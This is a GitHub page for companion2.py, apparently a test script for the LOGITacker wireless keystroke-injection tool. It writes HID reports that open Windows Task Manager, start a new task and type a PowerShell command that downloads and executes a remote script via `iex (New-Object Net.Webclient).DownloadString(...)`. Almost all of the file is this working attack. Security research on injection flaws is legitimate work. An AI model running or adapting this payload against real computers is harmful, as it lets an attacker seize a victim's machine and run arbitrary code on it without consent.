-
Notifications
You must be signed in to change notification settings - Fork 117
/
companion2.py
executable file
·112 lines (85 loc) · 2.19 KB
/
companion2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/python
import sys
import struct
import time
'''
Important: This is a test script for LOGITacker's HID based programming interface.
The script assumes the raw HID interface accessible on /dev/hidraw0 and writes data to
this dev-file. There is no proper implementation to directly interface with LOGITacker on
the USB HID layer, neither is the protocol finalized.
'''
# report types
REPORT_TYPE_COMMAND = 0x02
# commands
COMMAND_SCRIPT_STRING = 0x10
COMMAND_SCRIPT_ALTSTRING = 0x11
COMMAND_SCRIPT_PRESS = 0x12
COMMAND_SCRIPT_DELAY = 0x13
COMMAND_SCRIPT_CLEAR = 0x14
def build_report(cmd, args=""):
report = chr(REPORT_TYPE_COMMAND) + chr(cmd) + args
report = report + (64 - len(report)) * '\x00'
return report
def cmd_string(str=""):
l = len(str)
if l > 60:
l = 60
return build_report(COMMAND_SCRIPT_STRING, chr(l) + str[:l])
def cmd_altstring(str=""):
l = len(str)
if l > 60:
l = 60
return build_report(COMMAND_SCRIPT_ALTSTRING, chr(l) + str[:l])
def cmd_press(str=""):
l = len(str)
if l > 60:
l = 60
return build_report(COMMAND_SCRIPT_PRESS, chr(l) + str[:l])
def cmd_delay(delay=1):
d_str = struct.pack('<I',delay)
return build_report(COMMAND_SCRIPT_DELAY, d_str)
def cmd_clear():
return build_report(COMMAND_SCRIPT_CLEAR, "")
def split_string(n, st):
lst = [""]
for i in str(st):
l = len(lst) - 1
if len(lst[l]) < n:
lst[l] += i
else:
lst += [i]
return lst
file = "/dev/hidraw0"
with open(file, 'wb') as of:
of.write(cmd_clear())
of.flush()
of.write(cmd_delay(500))
of.flush()
of.write(cmd_press("CTRL SHIFT ESCAPE"))
of.flush()
of.write(cmd_delay(800))
of.flush()
of.write(cmd_press("ALT"))
of.flush()
of.write(cmd_press("DOWN"))
of.flush()
of.write(cmd_press("N"))
of.flush()
of.write(cmd_delay(800))
of.flush()
ps_code = "powershell -C \"iex (New-Object Net.Webclient).DownloadString('http://localhorst:8001/about.txt');exit\""
for chunk in split_string(60,ps_code):
of.write(cmd_altstring(chunk))
of.flush()
of.write(cmd_press("RETURN"))
of.flush()
# of.write(cmd_delay(800))
# of.flush()
# of.write(cmd_press("CTRL SHIFT ESCAPE"))
# of.flush()
#
# of.write(cmd_delay(200))
# of.flush()
#
# of.write(cmd_press("ALT F4"))
# of.flush()